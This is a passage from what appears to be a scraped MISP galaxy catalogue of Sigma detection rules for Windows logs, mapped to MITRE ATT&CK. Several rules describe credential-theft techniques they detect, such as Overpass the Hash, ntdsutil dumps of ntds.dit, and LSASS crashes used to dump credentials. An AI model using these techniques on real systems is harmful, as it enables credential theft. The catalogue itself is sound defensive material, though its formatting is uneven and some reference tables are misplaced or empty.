External Remote RDP Logon from Public IP

Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.

The tag is: `misp-galaxy:sigma-rules="External Remote RDP Logon from Public IP"`

View relationships graph

External Remote RDP Logon from Public IP has relationships with:


- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8463. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html">https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Purp1eW0lf/status/1616144561965002752">https://twitter.com/Purp1eW0lf/status/1616144561965002752</a></td>
</tr>
</tbody>
</table>
Successful Overpass the Hash Attempt

Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.

The tag is: misp-galaxy:sigma-rules="Successful Overpass the Hash Attempt"

View relationships graph

Successful Overpass the Hash Attempt has relationships with:


Table 8464. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_overpass_the_hash.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_overpass_the_hash.yml</a></td>
</tr>
</tbody>
</table>

A Member Was Added to a Security-Enabled Global Group

Detects activity when a member is added to a security-enabled global group

The tag is: misp-galaxy:sigma-rules="A Member Was Added to a Security-Enabled Global Group"

View relationships graph

A Member Was Added to a Security-Enabled Global Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 8465. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisecurity.org/controls/cis-controls-list/">https://www.cisecurity.org/controls/cis-controls-list/</a></td>
</tr>
<tr>
<td><a href="https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf">https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_member_added_security_enabled_global_group.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_member_added_security_enabled_global_group.yml</a></td>
</tr>
</tbody>
</table>
Admin User Remote Logon

Detect remote login by Administrator user (depending on internal pattern).

The tag is: `misp-galaxy:sigma-rules="Admin User Remote Logon"`

View relationships graph

Admin User Remote Logon has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8466. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://car.mitre.org/wiki/CAR-2016-04-005">https://car.mitre.org/wiki/CAR-2016-04-005</a></td>
</tr>
</tbody>
</table>

Certificate Exported From Local Certificate Store

Detects when an application exports a certificate (and potentially the private key as well) from the local Windows certificate store.

The tag is: `misp-galaxy:sigma-rules="Certificate Exported From Local Certificate Store"`

View relationships graph

Certificate Exported From Local Certificate Store has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649"` with estimative-language:likelihood-probability="almost-certain"

Table 8467. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/certificate_services_client_lifecycle_system/win_certificateservicesclient_lifecycle_system_cert_exported.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/certificate_services_client_lifecycle_system/win_certificateservicesclient_lifecycle_system_cert_exported.yml</a></td>
</tr>
</tbody>
</table>
**NTLM Brute Force**

Detects common NTLM brute force device names

The tag is: `misp-galaxy:sigma-rules="NTLM Brute Force"`

View relationships graph

NTLM Brute Force has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"

Table 8468. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.varonis.com/blog/investigate-ntlm-brute-force">https://www.varonis.com/blog/investigate-ntlm-brute-force</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml</a></td>
</tr>
</tbody>
</table>

**NTLM Logon**

Detects logons using NTLM, which could be caused by a legacy source or attackers

The tag is: `misp-galaxy:sigma-rules="NTLM Logon"`

View relationships graph

NTLM Logon has relationships with:


Table 8469. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://goo.gl/PsqrhT">https://goo.gl/PsqrhT</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JohnLaTwC/status/1004895028995477505">https://twitter.com/JohnLaTwC/status/1004895028995477505</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml</a></td>
</tr>
</tbody>
</table>

**Potential Remote Desktop Connection to Non-Domain Host**

Detects logons using NTLM to hosts that are potentially not part of the domain.

The tag is: `misp-galaxy:sigma-rules="Potential Remote Desktop Connection to Non-Domain Host"`
Potential Remote Desktop Connection to Non-Domain Host has relationships with:


### Dump Ntds.dit To Suspicious Location

Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location

The tag is: misp-galaxy: sigma-rules="Dump Ntds.dit To Suspicious Location"

### Ntdsutil Abuse

Detects potential abuse of ntdsutil to dump ntds.dit database

The tag is: misp-galaxy: sigma-rules="Ntdsutil Abuse"
Audit CVE Event

Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.

The tag is: `misp-galaxy:sigma-rules="Audit CVE Event"`

View relationships graph

Audit CVE Event has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004"` with estimative-language:likelihood-probability="almost-certain"

Table 8473. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/VM_vivisector/status/1217190929330655232">https://twitter.com/VM_vivisector/status/1217190929330655232</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=ebmW42YYveI">https://www.youtube.com/watch?v=ebmW42YYveI</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/DidierStevens/status/1217533958096924676">https://twitter.com/DidierStevens/status/1217533958096924676</a></td>
</tr>
<tr>
<td><a href="https://nullsec.us/windows-event-log-audit-cve/">https://nullsec.us/windows-event-log-audit-cve/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/FlemmingRiis/status/1217147415482060800">https://twitter.com/FlemmingRiis/status/1217147415482060800</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft-windows_audit_cve/win_audit_cve.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft-windows_audit_cve/win_audit_cve.yml</a></td>
</tr>
</tbody>
</table>

Backup Catalog Deleted

Detects backup catalog deletions
The tag is: *misp-galaxy:sigma-rules*="Backup Catalog Deleted"

**View relationships graph**

Backup Catalog Deleted has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

*Table 8474. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bba545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100">https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bba545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100</a></td>
</tr>
</tbody>
</table>

**Microsoft Malware Protection Engine Crash - WER**

This rule detects a suspicious crash of the Microsoft Malware Protection Engine

The tag is: *misp-galaxy:sigma-rules*="Microsoft Malware Protection Engine Crash - WER"

**View relationships graph**

Microsoft Malware Protection Engine Crash - WER has relationships with:


- related-to: *misp-galaxy:mitre-attack-pattern*="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

*Table 8475. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&amp;desc=5">https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&amp;desc=5</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/windows_error_reporting/win_application_msmpeng_crash_wer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/windows_error_reporting/win_application_msmpeng_crash_wer.yml</a></td>
</tr>
</tbody>
</table>

**Microsoft Malware Protection Engine Crash**

This rule detects a suspicious crash of the Microsoft Malware Protection Engine

The tag is: *misp-galaxy:sigma-rules*="Microsoft Malware Protection Engine Crash"
Microsoft Malware Protection Engine Crash has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Potential Credential Dumping Via WER - Application

Detects Windows error reporting event where the process that crashed is lsass. This could be the cause of an intentional crash by techniques such as Lsass-Shtinkering to dump credential

The tag is: misp-galaxy:sigma-rules="Potential Credential Dumping Via WER - Application"

Potential Credential Dumping Via WER - Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
**Restricted Software Access By SRP**

Detects restricted access to applications by the Software Restriction Policies (SRP) policy

The tag is: `misp-galaxy:sigma-rules="Restricted Software Access By SRP"`

**View relationships graph**

Restricted Software Access By SRP has relationships with:


**Table 8478. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Relevant Anti-Virus Event**

This detection method points out highly relevant Antivirus events

The tag is: `misp-galaxy:sigma-rules="Relevant Anti-Virus Event"`

**View relationships graph**

Relevant Anti-Virus Event has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obtain Capabilities - T1588"` with estimative-language:likelihood-probability="almost-certain"

**Table 8479. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01">https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed">https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31">https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31</a></td>
</tr>
</tbody>
</table>
Remote Access Tool - ScreenConnect File Transfer

Detects file being transferred via ScreenConnect RMM

The tag is: `misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect File Transfer"`

View relationships graph

Remote Access Tool - ScreenConnect File Transfer has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8480. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling">https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/pull/4467">https://github.com/SigmaHQ/sigma/pull/4467</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/screenconnect/win_app_remote_access_tools_screenconnect_file_transfer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/screenconnect/win_app_remote_access_tools_screenconnect_file_transfer.yml</a></td>
</tr>
</tbody>
</table>

Remote Access Tool - ScreenConnect Command Execution

Detects command execution via ScreenConnect RMM

The tag is: `misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Command Execution"`

View relationships graph

Remote Access Tool - ScreenConnect Command Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling">https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/pull/4467">https://github.com/SigmaHQ/sigma/pull/4467</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/screenconnect/win_app_remote_access_tools_screenconnect_command_exec.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/screenconnect/win_app_remote_access_tools_screenconnect_command_exec.yml</a></td>
</tr>
</tbody>
</table>
Atera Agent Installation

Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators

The tag is: misp-galaxy:sigma-rules="Atera Agent Installation"

View relationships graph

Atera Agent Installation has relationships with:


Table 8482. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_software_atera_rmm_agent_install.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_software_atera_rmm_agent_install.yml</a></td>
</tr>
</tbody>
</table>

MSI Installation From Suspicious Locations

Detects MSI package installation from suspicious locations

The tag is: misp-galaxy:sigma-rules="MSI Installation From Suspicious Locations"

Table 8483. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_msi_install_from_susp_locations.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_msi_install_from_susp_locations.yml</a></td>
</tr>
</tbody>
</table>

MSI Installation From Web

Detects installation of a remote msi file from web.

The tag is: misp-galaxy:sigma-rules="MSI Installation From Web"

View relationships graph

MSI Installation From Web has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

### Application Uninstalled

An application has been removed. Check if it is critical.

The tag is: *misp-galaxy:sigma-rules="Application Uninstalled"

**View relationships graph**

Application Uninstalled has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

### MSSQL Server Failed Logon

Detects failed logon attempts from clients to MSSQL server.

The tag is: *misp-galaxy:sigma-rules="MSSQL Server Failed Logon"

**View relationships graph**

MSSQL Server Failed Logon has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

---

**Table 8484. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/st0pp3r/status/1583922009842802689">https://twitter.com/st0pp3r/status/1583922009842802689</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_msi_install_from_web.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_msi_install_from_web.yml</a></td>
</tr>
</tbody>
</table>

**Table 8485. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/winbuiltin_remove_application.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/winbuiltin_remove_application.yml</a></td>
</tr>
</tbody>
</table>

**Table 8486. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
MSSQL SPProcoption Set

Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started.

The tag is: `misp-galaxy: sigma-rules="MSSQL SPProcoption Set"`

Table 8487. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

MSSQL XPCmdshell Option Change

Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed.

The tag is: `misp-galaxy: sigma-rules="MSSQL XPCmdshell Option Change"`

Table 8488. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/">https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_xp_cmdshell_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_xp_cmdshell_change.yml</a></td>
</tr>
</tbody>
</table>

MSSQL Server Failed Logon From External Network

Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.

The tag is: `misp-galaxy: sigma-rules="MSSQL Server Failed Logon From External Network"

View relationships graph

MSSQL Server Failed Logon From External Network has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Brute Force - T1110"` with estimative-
MSSQL XPCmdshell Suspicious Execution

Detects when the MSSQL "xp_cmdshell" stored procedure is used to execute commands

The tag is: misp-galaxy:sigma-rules="MSSQL XPCmdshell Suspicious Execution"

MSSQL Add Account To Sysadmin Role

Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role

The tag is: misp-galaxy:sigma-rules="MSSQL Add Account To Sysadmin Role"

MSSQL Disable Audit Settings

Detects when an attacker calls the "ALTER SERVER AUDIT" or "DROP SERVER AUDIT" transaction in order to delete or disable audit logs on the server
Scheduled Task Executed Uncommon LOLBIN

Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task

The tag is: misp-galaxy:sigma-rules="Scheduled Task Executed Uncommon LOLBIN"

View relationships graph

Scheduled Task Executed Uncommon LOLBIN has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Scheduled Task Executed From A Suspicious Location

Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusual program to be run from a Scheduled Task

The tag is: misp-galaxy:sigma-rules="Scheduled Task Executed From A Suspicious Location"

View relationships graph

Scheduled Task Executed From A Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
Important Scheduled Task Deleted

Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities.

The tag is: `misp-galaxy:sigma-rules="Important Scheduled Task Deleted"`

View relationships graph

Important Scheduled Task Deleted has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"

USB Device Plugged

Detects plugged/unplugged USB devices.

The tag is: `misp-galaxy:sigma-rules="USB Device Plugged"`

View relationships graph

USB Device Plugged has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"` with estimative-language:likelihood-probability="almost-certain"
Loading Diagcab Package From Remote Path

Dectects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability.

The tag is: `misp-galaxy:sigma-rules="Loading Diagcab Package From Remote Path"`

<table>
<thead>
<tr>
<th>Table 8497. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1539679555908141061">https://twitter.com/nas_bench/status/1539679555908141061</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/j00sean/status/1537750439701225472">https://twitter.com/j00sean/status/1537750439701225472</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml</a></td>
</tr>
</tbody>
</table>

CodeIntegrity - Revoked Image Loaded

Detects image load events with revoked certificates by code integrity.

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Revoked Image Loaded"`

<table>
<thead>
<tr>
<th>Table 8498. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_image_loaded.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_image_loaded.yml</a></td>
</tr>
</tbody>
</table>

CodeIntegrity - Blocked Image Load With Revoked Certificate

Detects blocked image load events with revoked certificates by code integrity.

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Blocked Image Load With Revoked Certificate"`

<table>
<thead>
<tr>
<th>Table 8499. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
**CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module**

Detects loaded kernel modules that did not meet the WHQL signing requirements.

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module"`

*Table 8500. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**CodeIntegrity - Unmet Signing Level Requirements By File Under Validation**

Detects attempted file load events that did not meet the signing level requirements. It often means the file’s signature is revoked or a signature with the Lifetime Signing EKU has expired. This event is best correlated with EID 3089 to determine the error of the validation.

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Unmet Signing Level Requirements By File Under Validation"`

*Table 8501. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1483810148602814466">https://twitter.com/SBousseaden/status/1483810148602814466</a></td>
</tr>
</tbody>
</table>
**CodeIntegrity - Unsigned Kernel Module Loaded**

Detects the presence of a loaded unsigned kernel module on the system.

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Unsigned Kernel Module Loaded"`

**Table 8502. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_driver_loaded.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_driver_loaded.yml</a></td>
</tr>
</tbody>
</table>

**CodeIntegrity - Unsigned Image Loaded**

Detects loaded unsigned image on the system.

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Unsigned Image Loaded"`

**Table 8503. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_image_loaded.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_image_loaded.yml</a></td>
</tr>
</tbody>
</table>
**CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked**

Detects block events for files that are disallowed by code integrity for protected processes.

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked"`

**Table 8504. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>

**CodeIntegrity - Blocked Image/Driver Load For Policy Violation**

Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy.

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Blocked Image/Driver Load For Policy Violation"`

**View relationships graph**

CodeIntegrity - Blocked Image/Driver Load For Policy Violation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"` with estimative-language:likelihood-probability="almost-certain"

**Table 8505. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/wdormann/status/1590434950335320065">https://twitter.com/wdormann/status/1590434950335320065</a></td>
</tr>
<tr>
<td><a href="https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log">https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log</a></td>
</tr>
</tbody>
</table>
**CodeIntegrity - Blocked Driver Load With Revoked Certificate**

Detects blocked load attempts of revoked drivers

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Blocked Driver Load With Revoked Certificate"`

**View relationships graph**

CodeIntegrity - Blocked Driver Load With Revoked Certificate has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"` with estimative-language:likelihood-probability="almost-certain"

**Table 8506. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver_blocked.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver_blocked.yml</a></td>
</tr>
</tbody>
</table>

**CodeIntegrity - Revoked Kernel Driver Loaded**

Detects the load of a revoked kernel driver

The tag is: `misp-galaxy:sigma-rules="CodeIntegrity - Revoked Kernel Driver Loaded"

**Table 8507. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver_loaded.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver_loaded.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Rejected SMB Guest Logon From IP

Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service

The tag is: `misp-galaxy:sigma-rules="Suspicious Rejected SMB Guest Logon From IP"`

View relationships graph

Suspicious Rejected SMB Guest Logon From IP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8508. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/afwu/PrintNightmare">https://github.com/afwu/PrintNightmare</a></td>
</tr>
<tr>
<td><a href="https://github.com/hhlxf/PrintNightmare">https://github.com/hhlxf/PrintNightmare</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/KevTheHermit/status/1410203844064301056">https://twitter.com/KevTheHermit/status/1410203844064301056</a></td>
</tr>
</tbody>
</table>

Suspicious Application Installed

Detects suspicious application installed by looking at the added shortcut to the app resolver cache

The tag is: `misp-galaxy:sigma-rules="Suspicious Application Installed"`

Table 8509. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
